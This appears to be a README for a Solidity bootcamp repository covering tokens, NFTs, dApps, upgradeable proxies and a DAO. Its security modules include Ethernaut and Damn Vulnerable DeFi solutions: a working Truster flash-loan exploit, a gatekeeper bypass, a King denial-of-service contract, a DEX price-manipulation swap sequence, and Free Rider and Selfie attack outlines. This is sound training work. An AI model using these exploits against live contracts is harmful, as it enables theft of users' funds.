Node.js and npm are required to run the project. To install the project, run the following command:
npm install
This module is about creating an ERC20 token. The ERC20 token is a standard interface for fungible tokens. The interface is defined in the ERC20.sol file. The token is created in the ERC20Token.sol file.
It leverages the OpenZeppelin library, which is a library for secure smart contract development. The library provides secure and community-vetted code for the Ethereum ecosystem.
This module is about creating an ERC721 token. The ERC721 token is a standard interface for non-fungible tokens. The deliverable for this module are listed below:
-
1_metana_opensea.sol: a smart contract that mints up to 10 ERC721 tokens and enables their listing on OpenSea testnet. The contract is deployed on the Sepolia testnet at this address. You can view the collection on OpenSea here. The contract allows anyone to mint tokens for free, eliminating the need for a withdrawal function. After minting, tokens can be sold on OpenSea, with proceeds going directly to the token owners rather than the contract.
-
2_payable_nft: A system of smart contracts that implements an NFT (ERC721 token) which can be minted by paying with a custom ERC20 token. The system consists of three main components:
- An ERC20 token contract (reused from module 1) that provides the currency for purchasing NFTs.
- An ERC721 contract (ERC721Exchange) that represents the NFTs and includes a minter role for controlled minting.
- A Minter contract that facilitates the exchange of ERC20 tokens for newly minted NFTs.
The deployment process requires multiple steps due to contract interdependencies: first deploying the ERC20 and ERC721 contracts, then the Minter contract, and finally setting the Minter as the authorized minter in the ERC721 contract.
-
3_staking_nft: A system of smart contracts that implements NFT staking with ERC20 token rewards. The system consists of three main components:
- An ERC20 token contract that serves as the reward token and includes controlled minting capabilities.
- An ERC721 token contract representing the NFTs, which can be minted using the ERC20 tokens.
- A Staker contract that allows users to stake their NFTs, earn ERC20 rewards (10 tokens per 24 hours), and withdraw or transfer their staked NFTs at any time.
The implementation ensures secure communication between contracts, handles decimals correctly in ERC20 transfers, and allows users to claim rewards without withdrawing their NFTs. The staking mechanism is time-based and prevents exploitation through re-staking. The system also supports the transfer of staked NFTs, maintaining the staking state and rewards.
This module contains a dApp that mimics the functionality of a forgery. There are a few rules in this dApp:
- Iron, Copper, and Silver are the only materials that can be used to create a forgery.
- Gold can be forged by burning Iron and Copper.
- Platinum can be forged by burning Copper and Silver.
- Palladium can be forged by burning Iron and Silver.
- Rhodium can be forged by burning Iron, Copper, and Silver.
- Gold, Platinum, Palladium, and Rhodium cannot be forged into another.
- Everything can be traded for Iron, Copper, and Silver.
- There is a cooldown of 1 minute between each forging.
The application is available at https://alchemist-q6w3w3pyk-s-di-colas-projects.vercel.app/
Warning: The contract is deployed on holesky network
at https://holesky.etherscan.io/address/0x90B78FF67D038557B93aF531866e0Ff7FB7bC010.
Since holesky is not supported by OpenSea, the NFTs are not visible on OpenSea.
Note: The dApp leverages scaffold-eth2, to run the dApp locally, follow the instructions below:
- Install the dependencies
- Run a local network in the first terminal with
yarn chain
- Deploy the test contract in the second terminal with
yarn deploy
(check thehardhat.config.ts
file for the network configuration)- Start your NextJS app in the third terminal with
yarn start
(visit your app onhttp://localhost:3000
)
This module contains tests for the ERC20 (sellBack functionality) and Forgery dApp. The tests are written using Hardhat and viem. The tests can be run using the following command:
hardhat test
Coverage reports can be generated using the following command:
hardhat coverage
Whereas mutation tests can be run using the following command:
sumo test
The mutation test coverage shows a mutation score of 93% for the Forgery dApp. The coverage report can be found in the
coverage
folder.
This project provides real-time visualizations of ERC20 token transfers and Ethereum gas metrics using ApexCharts. It displays three synchronized charts that update as new blocks are mined on the Ethereum network.
- ERC20 Token Transfer Volume Chart
- Monitors logs of a specified ERC20 token address.
- Plots the total volume of transfers for each block.
- Uses a bar chart to represent the number of transactions.
- Block Base Fee Chart
- Displays the BASEFEE for each block.
- Helps visualize the gas price dynamics introduced by EIP-1559.
- Gas Usage Ratio Chart
- Shows the ratio of gasUsed over gasLimit as a percentage.
- Helps understand network congestion and gas price correlations.
All charts use a lookback of 10 blocks to provide initial data when the page loads.
1Set up your environment variables:
Create a .env
file in the project root, similar to .envexample
, and add your Alchemy API key:
ALCHEMY_API_KEY=your_api_key_here
2Run the development server:
npm run dev
- Open your browser and navigate to
http://localhost:1234
(or the port specified by Parcel).
- ERC20 Token Transfer Volume
- X-axis: Block number
- Y-axis (left): Total transfer volume in token units
- Y-axis (right): Number of transactions
- This chart helps visualize the transfer activity of the chosen ERC20 token over time.
- Block Base Fee
- X-axis: Block number
- Y-axis: Base fee in Gwei
- This chart shows the fluctuation of the base fee, which is a key component of Ethereum's gas pricing mechanism post-EIP-1559.
- Gas Usage Ratio
- X-axis: Block number
- Y-axis: Percentage of gas limit used
- This chart displays how much of the block's gas limit is being utilized.
When analyzing these charts, you may notice:
- Correlation between high transfer volumes and increased base fees.
- The gas usage ratio often staying within a specific range, with occasional spikes.
- Potential relationships between the gas usage ratio and the base fee, where higher usage ratios might precede or coincide with base fee increases.
These observations can provide insights into network congestion, gas price dynamics, and the overall health of the Ethereum network.
To test with different ERC20 tokens, replace the USDT_CONTRACT
address in src/usdt-tx.ts
with addresses of popular
tokens such as:
- DAI: 0x6b175474e89094c44da98b954eedeac495271d0f
- USDC: 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48
- LINK: 0x514910771af9ca656af840dff83e8264ecf986ca
Observing different tokens can provide insights into varying transfer patterns and their effects on gas metrics.
This module covers the basics of smart contract security, including common vulnerabilities and best practices. The deliverables for this module are:
- Ethernaut: A series of smart contract security challenges that test your knowledge of common vulnerabilities and best practices. The challenges cover topics such as reentrancy, denial of service, and integer overflow. The Ethernaut challenges are available at https://ethernaut.openzeppelin.com/.
- Capture The Ether Foundry: A foundry environment to practice the problems on capturetheether.com. The problems run on a defunct testnet and use an older version of Solidity. This repository doesn't depend on testnets and uses the latest Solidity version. Some problems could not be ported because they rely on vulnerabilities that only existed in older versions of Solidity. Some liberty has been taken where the syntax and other compiler features are no longer compatible. The foundry environment is available at [
This module covers two main topics: address-related security considerations and implementation of an advanced NFT contract.
- ExtcodeSize Bypass
- Demonstrated how
extcodesize
check can be bypassed in constructors - Note: OpenZeppelin removed
isContract
in v5 due to security vulnerabilities - Manual
extcodesize
checks implemented to demonstrate vulnerability
- Transaction Origin vs Sender
- Implemented demonstration of
msg.sender == tx.origin
security check - Showed how this blocks constructor calls
- Used OpenZeppelin's Address library functionality
- Damn Vulnerable DeFi Challenge #3
- Completed Truster challenge
function test_truster() public checkSolvedByPlayer {
bytes memory data = abi.encodeWithSignature("approve(address,uint256)", player, TOKENS_IN_POOL);
pool.flashLoan(
0, // amount
player, // borrower
address(token), // target
data // approval call
);
token.transferFrom(address(pool), recovery, TOKENS_IN_POOL);
vm.setNonce(player, 1);
}
- Ethernaut 14
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import "@openzeppelin/contracts/utils/Address.sol";
contract Gate2 {
using Address for address;
constructor(address _gk2) {
require(_gk2 != address(0));
bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
require(abi.decode(_gk2.functionCall(abi.encodeWithSignature("enter(bytes8)", key)), (bool)));
}
}
- Merkle Tree Airdrop
- Implemented presale minting with merkle tree verification
- Gas cost comparison between mapping and bitmap:
- Mapping: Higher storage costs
- Bitmap: More efficient for large sets
- Used OpenZeppelin's BitMaps library
- Commit-Reveal Mechanism
- Two-phase minting process for random NFT IDs
- 10 block waiting period between commit and reveal
- Random ID generation using blockhash
- Front-running prevention through commit-reveal pattern
- Multicall Implementation
- Inherited from OpenZeppelin's Multicall
- Enables batch transfers in single transaction
- Protected against minting abuse through proper overrides
- Uses ERC721Enumerable for token tracking
- State Machine
- States: NOT_STARTED → PRESALE → PUBLIC_SALE → SOLD_OUT
- State transitions:
- NOT_STARTED to PRESALE: 1 hour after deployment
- PRESALE to PUBLIC_SALE: After 1 day
- Any state to SOLD_OUT: When max supply reached
- Payment Distribution
- Implemented using OpenZeppelin's PaymentSplitter
- Supports arbitrary number of contributors
- Pull pattern for secure withdrawals
- Set up at deployment with predefined shares
Q: Should you be using pausable or nonReentrant in your NFT? Why or not?
A: Although pausable should be used to prevent exploits, nonReentrant is not necessary for NFTs because:
- Merkle tree verification requires valid proofs
- Commit-reveal pattern requires valid secrets
- These mechanisms inherently prevent reentrancy
- State machine ensures proper flow control
Q: What trick does OpenZeppelin use to save gas on the nonReentrant modifier?
A: OpenZeppelin uses compile-time constants for status flags:
uint256 private constant NOT_ENTERED = 1;
uint256 private constant ENTERED = 2;
Since they are constants, they become part of the bytecode. This implies no storage slot is used, saving the expensive gas costs associated with SSTORE operations. Moreover, reading is very cheap, as it is just a bytecode lookup.
This module covers the concept of upgradable contracts and how to implement them using OpenZeppelin's Upgrades Plugins. The three contracts from module 2 are upgraded using both UUPS and Transparent proxy pattern (see test folder).
Lastly, a simple ERC721 contract is deployed and upgraded to demonstrate the upgradability of contracts by adding a god mode feature. The proxy is deployed to holesky network at 0x247b1c3e3D1386adafbE7B94109D33307f64768C.
This module covers the basics of YUL and Assembly in Solidity. The deliverables for this module is the implementation of the following contracts:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract BitWise {
// count the number of bit set in data. i.e. data = 7, result = 3
function countBitSet(uint8 data) public pure returns (uint8 result) {
for (uint i = 0; i < 8; i += 1) {
if (((data >> i) & 1) == 1) {
result += 1;
}
}
}
function countBitSetAsm(uint8 data) public pure returns (uint8 result) {
// replace following line with inline assembly code
result = countBitSet(data);
}
}
contract String {
function charAt(string memory input, uint index) public pure returns (bytes2) {
assembly{
// add logic here
// return the character from input at the given
// index
// where index is base 0
}
}
}
This module covers the basics of transactions and Multisig Wallets. The deliverables for this assignment is to build a basic crypto wallet from scratch, without using any libraries or existing wallets.
To run the wallet you would need to provide the rename the .env.example
file to .env
and provide the following
environment variables:
SECRET_ALCHEMY_API_KEY=your-api-key
SECRET_ETHERSCAN_API_KEY=your-api-key
Then run the following command:
npm run dev
Finally, navigate to the host address provided in the terminal.
This module covers key DeFi security concepts through Ethernaut and Damn Vulnerable DeFi challenges.
Vulnerability: Denial of Service through ETH rejection
contract KingAttack {
constructor(address payable kingGame) {
(bool s,) = kingGame.call{value: msg.value}("");
require(s, "Failed");
}
receive() external payable {
revert("Cannot be king");
}
}
Key Learning:
- Smart contracts can prevent others from becoming king by reverting ETH transfers
- Always validate assumptions about ETH transfers
- Consider fallback function implications
Vulnerability: Price manipulation through balance ratios
Attack Sequence:
- Swap 10 token1 → token2
- Swap 20 token2 → token1
- Swap 24 token1 → token2
- Swap 30 token2 → token1
- Swap 41 token1 → token2
- Swap 45 token2 → token1
Price Formula Exploited:
price = (amount * IERC20(to).balanceOf(address(this)))
/ IERC20(from).balanceOf(address(this))
Key Learning:
- Balance-based pricing is vulnerable to manipulation
- Small trades can significantly impact exchange rates
- Need price oracles or time-weighted average prices
Vulnerability: Missing token validation in swap function
contract MaliciousToken {
// Create token with minimal DEX balance (1 token)
// Exploit price formula: (amount * targetBalance) / maliciousBalance
// Example: (1 * 100) / 1 = 100
// Single malicious token drains entire balance
}
Key Learning:
- Always validate input tokens
- Whitelist approved tokens
- Check token interfaces and behavior
Vulnerability: NFT marketplace price validation bypass + flash loan exploitation
contract FreeRiderAttack {
function attack() external {
// 1. Flash loan WETH from Uniswap
uniswapPair.swap(NFT_PRICE, 0, address(this), "flashloan");
// 2. Purchase NFTs at exploited price
marketplace.buyMany{value: NFT_PRICE}(tokenIds);
// 3. Collect bounty
transferNFTs(recovery);
// 4. Repay flash loan with fees
repayFlashLoan();
}
}
Key Learning:
- Validate marketplace prices
- Consider flash loan impact
- Implement proper access controls
Vulnerability: Governance manipulation via flash loans
contract SelfieAttack {
function attack() external {
// 1. Flash loan governance tokens
pool.flashLoan(amount);
// 2. Create governance snapshot
token.snapshot();
// 3. Queue malicious proposal
governance.queueAction(
address(pool),
abi.encodeWithSignature("drainFunds()")
);
// 4. Wait timelock
// 5. Execute drain
governance.executeAction(actionId);
}
}
Key Learning:
- Flash loans can manipulate governance
- Implement voting delays
- Consider token borrowing in voting power
This module introduces a decentralized limit order system built with modern smart contract tools. Users can set limit orders via a SvelteKit 5 frontend, and orders are managed through Solidity contracts. Real-time price feeds from Chainlink, automated monitoring with OpenZeppelin Defender, and Uniswap integration enable seamless, trustless order execution. Indexed with The Graph, order data is easily queryable for complete transparency.
Key Highlights:
- Automated Trading: Limit orders execute automatically when market conditions are met.
- Reliable Price Feeds: Real-time data from Chainlink ensures accurate triggering.
- DEX Integration: Uniswap is used to swap tokens instantly.
- Efficient Data Management: Order history and statuses are indexed using The Graph.
- Tested and Secure: Validated on Tenderly testnet with comprehensive Smock tests.
sequenceDiagram
participant User
participant Frontend
participant OrderContract
participant Chainlink
participant Defender
participant Uniswap
participant TheGraph
User->>Frontend: Create order
Frontend->>OrderContract: Submit order
OrderContract->>TheGraph: Index order
loop Price Check
Defender->>Chainlink: Get price
Chainlink-->>Defender: Return price
Defender->>OrderContract: Check orders
alt Price matches
OrderContract->>Uniswap: Execute swap
Uniswap-->>OrderContract: Return result
OrderContract->>TheGraph: Update status
end
end
User->>Frontend: View order history
Frontend->>TheGraph: Query orders
TheGraph-->>Frontend: Return data
This module deepens the practical skills in building secure, automated DeFi applications using the latest tools and technologies.
This module focused on advanced testing techniques in Solidity, exploring various testing tools and completing several DeFi security challenges. The main focus was on understanding and implementing security testing practices using modern tools while solving practical DeFi vulnerability scenarios.
- Fuzzing: Automated testing technique that generates random inputs to find edge cases and vulnerabilities
- Manticore: Symbolic execution tool for smart contract analysis
- Echidna: Property-based testing framework specifically designed for Ethereum smart contracts
- Foundry: Modern smart contract development toolchain with advanced testing capabilities
Challenge Overview: This challenge demonstrates the importance of access control and validation in flash loan receivers.
Solution Approach:
- Identified vulnerability in the flash loan receiver's lack of access control
- Exploited the receiver's naïve fee payment mechanism
- Implemented solution using proper validation checks
Challenge Overview: Explores vulnerabilities in DeFi lending pool implementations.
Solution Approach:
- Analyzed the pool's accounting system
- Identified critical vulnerability in token balance tracking
- Demonstrated how to break the pool's invariant
Challenge Overview: Demonstrates how flash loan callbacks can be exploited.
Solution Approach:
- Utilized flash loan callback mechanism
- Created malicious contract to drain the lending pool
- Implemented proper flash loan pattern with security considerations
Challenge Overview: Shows vulnerabilities in reward distribution systems.
Solution Approach:
- Analyzed the reward distribution mechanism
- Identified time-based vulnerability
- Implemented flash loan attack to manipulate rewards
- Importance of comprehensive testing in DeFi protocols
- Understanding common DeFi vulnerabilities and attack vectors
- Implementing secure coding practices
- Using advanced testing tools effectively
The solutions implemented follow best practices while demonstrating security vulnerabilities. All exploits were conducted in a controlled testing environment for educational purposes only.
This module implements a complete DAO governance system using OpenZeppelin's Governor contracts. The system enables token holders to propose, vote on, and execute changes to a treasury contract through a secure, decentralized governance process.
- Governance Token (ERC20): Token that grants voting power through delegation
- Governor Contract: Core governance mechanism implementing OpenZeppelin's extensions:
GovernorCountingSimple
: Basic voting mechanism with for/against/abstain optionsGovernorVotes
: Links governance to the token for voting powerGovernorVotesQuorumFraction
: Requires 4% quorum for proposals to passGovernorTimelockControl
: Enforces time delay before execution
- Timelock Controller: Provides a mandatory delay between proposal approval and execution
- Treasury: Contract controlled by the governance system that can release funds
- Proposal Creation: Token holders can propose actions to be taken by the DAO
- Voting Phase: After a 7200 block delay (~1 day), voting opens for 50400 blocks (~1 week)
- Execution: Successful proposals are queued in the timelock and can be executed after the timelock period
The implementation includes comprehensive tests covering the full proposal lifecycle, from creation to execution, with proper handling of voting delays and block mining for accurate state transitions.